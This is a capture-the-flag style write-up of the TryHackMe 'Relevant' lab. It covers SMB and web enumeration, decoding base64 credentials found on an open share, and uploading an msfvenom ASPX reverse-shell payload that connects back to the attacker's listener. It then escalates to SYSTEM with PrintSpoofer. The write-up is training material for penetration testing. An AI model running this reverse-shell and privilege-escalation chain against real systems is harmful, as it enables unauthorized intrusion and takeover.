tryhackme writeup: relevant

relevant is a tryhackme room designed to simulate a black box penetration test. as such, no information is provided about the target whatsoever, with the exception of its scope. as proof of exploitation, two flags must be secured:

user.txt
root.txt

while the target has several vulnerabilities that can be exploited, this write-up will only focus on one of them. let's begin!

enumeration

as always, a good point to start with active reconnaissance is to enumerate open ports and services on our target. let's begin with nmap.

nmap

as a start, we will use nmap with the -sC and -sV flags on our target. as a reminder, these scans will do the following:

-sC: equivalent to --script=default. will run default scripts on found ports/services.
-sV: probe open ports to determine service/version info.

let's also enumerate all ports with -p- for good measure:

nmap -sC -sV -p- 10.10.126.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 13:48 CET
Nmap scan report for 10.10.126.101
Host is up (0.029s latency).
Not shown: 65527 filtered ports
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: RELEVANT
|   NetBIOS_Domain_Name: RELEVANT
|   NetBIOS_Computer_Name: RELEVANT
|   DNS_Domain_Name: Relevant
|   DNS_Computer_Name: Relevant
|   Product_Version: 10.0.14393
|_  System_Time: 2021-03-01T12:51:53+00:00
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2021-02-28T12:48:34
|_Not valid after:  2021-08-30T12:48:34
|_ssl-date: 2021-03-01T12:52:32+00:00; 0s from scanner time.
49663/tcp open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

and here are the host script results ran against these findings:

Host script results:
|_clock-skew: mean: 1h36m01s, deviation: 3h34m41s, median: 0s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: Relevant
|   NetBIOS computer name: RELEVANT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-03-01T04:51:56-08:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-03-01T12:51:54
|_  start_date: 2021-03-01T12:48:50

we're getting a few interesting hints so far for exploitation, and also two HTTP services opened on port 80 and 49663. let's check where this might lead us.

websites / web services

both of the HTTP services lead us to the microsoft IIS server default page:

screenshot of the default page for microsoft IIS server

dirsearch results suggest something fishy. why would we have a directory traversal vulnerability for /etc/passwd on a windows server? looks like we might encounter some red herrings on this target.

Target: http://10.10.32.152/

Output File: /home/ovelny/repos/dirsearch/reports/10.10.32.152/_21-03-01_18-17-13.txt

[18:17:13] Starting:
[18:17:14] 403 -  312B  - /%2e%2e//google.com
[18:17:18] 403 -    2KB - /Trace.axd
[18:17:19] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd

Task Completed

port 49663 doesn't lead to interesting results either, as the few additional pages can't be exploited for anything meaningful:

Target: http://10.10.32.152:49663/

Output File: /home/ovelny/repos/dirsearch/reports/10.10.32.152/_21-03-01_18-19-38.txt

[18:19:38] Starting:
[18:19:39] 403 -  312B  - /%2e%2e//google.com
[18:19:54] 403 -    2KB - /Trace.axd
[18:19:55] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[18:20:07] 200 -    0B  - /aspnet_client/
[18:20:07] 301 -  163B  - /aspnet_client  ->  http://10.10.32.152:49663/aspnet_client/

Task Completed

as we saw port 445 being open, samba naturally comes next for enumeration.

SMB enumeration

at first, nmap scripts targeting SMB protocols seem to lead us to something juicy: perhaps this target is vulnerable to eternalblue!

nmap -p 445 --script smb-protocols 10.10.32.152
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 18:28 CET
Nmap scan report for 10.10.32.152
Host is up (0.044s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

Nmap done: 1 IP address (1 host up) scanned in 8.57 seconds

that would be too good to be true right? well, that's because it is. SMB1 is disabled:

smbclient -N -L \\\\10.10.32.152

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        nt4wrksv        Disk
SMB1 disabled -- no workgroup available

however, the nt4wrksv share is quite unusual and seem to be worth exploring.

relevant findings for exploitation

so far, our main lead is exploiting samba and maybe find some pieces of information that might lead us to a reverse shell.

exploitation

since SMB1 is disabled, eternalblue is not even worth exploring for this target. let's connect to nt4wrksv with an anonymous connection:

smbclient //10.10.143.157/nt4wrksv
Enter WORKGROUP\ovelny's password:
Try "help" to get a list of possible commands.
smb: \>

we quickly get our eyes on a passwords.txt file, immediately accessible on this share with more passwords.txt

[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

base64 encoded... easy fix, let's decode those strings:

echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
Bob - !P@$$W0rD!123
echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
Bill - Juw4nnaM4n420696969!$$$

connecting to SMB with those credentials works, but the permissions for those accounts are similar to anonymous connections. disappointing. bill and bob shall not help us any further, as this seems to be another red herring.

smbmap -u Bob -p '!P@$$W0rD!123' -H 10.10.143.157
[+] IP: 10.10.143.157:445       Name: 10.10.143.157
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        nt4wrksv                                                READ, WRITE

after some additional attempts on SMB, i gave up to focus on web services yet again. surely there has to be something more about them...

screenshot showing the same encoded passwords at http://IP:49663/n4twrksv/passwords.txt

and there is! turns out all of nt4wrksv contents are directly accessible through HTTP on port 49663. we might be able to get a reverse shell exactly the same way.

since those web services are all powered by IIS servers, .aspx ought to be our best option as payload output:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.186.16 LPORT=4444 -f aspx -o hacky.aspx

we then upload hacky.aspx to the nt4wrksv share with get hacky.aspx in SMB and execute the payload through HTTP (http://target-ip:49663/nt4wrksv/hacky.aspx), instantly granting us a shell to our target and access to the output of user.txt.

enumerating privileges on our current user instantly shows us how we will escalate our privileges to SYSTEM, since having SeImpersonatePrivilege enabled instantly makes this box vulnerable to printspoofer64 (https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/):

output of "whoami /priv" command, showing that SeImpersonatePrivilege is indeed enabled on our target

privilege escalation

downloading PrintSpoofer64.exe was instantly doable on target's default location.

as always, making a quick and dirty HTTP server on our machine with sudo python3 -m http.server 80 works wonder.

all that is left for us is to run the executable with -i -c powershell flags enabled, so we can get an interactive powershell session as SYSTEM:

$screenshot showing that ".\PrintSpoofer64.exe -i -c powershell" command granted us SYSTEM access to our target, as shown with the output of "whoami" command$

getting Root.txt output is now in our hands.

summary

this target was a nice demonstration of rabbit holes and red herrings that might be encountered during pentests. getting clues that are either too obvious or too intricate is often a good sign that something dubious might be happening behind the scenes.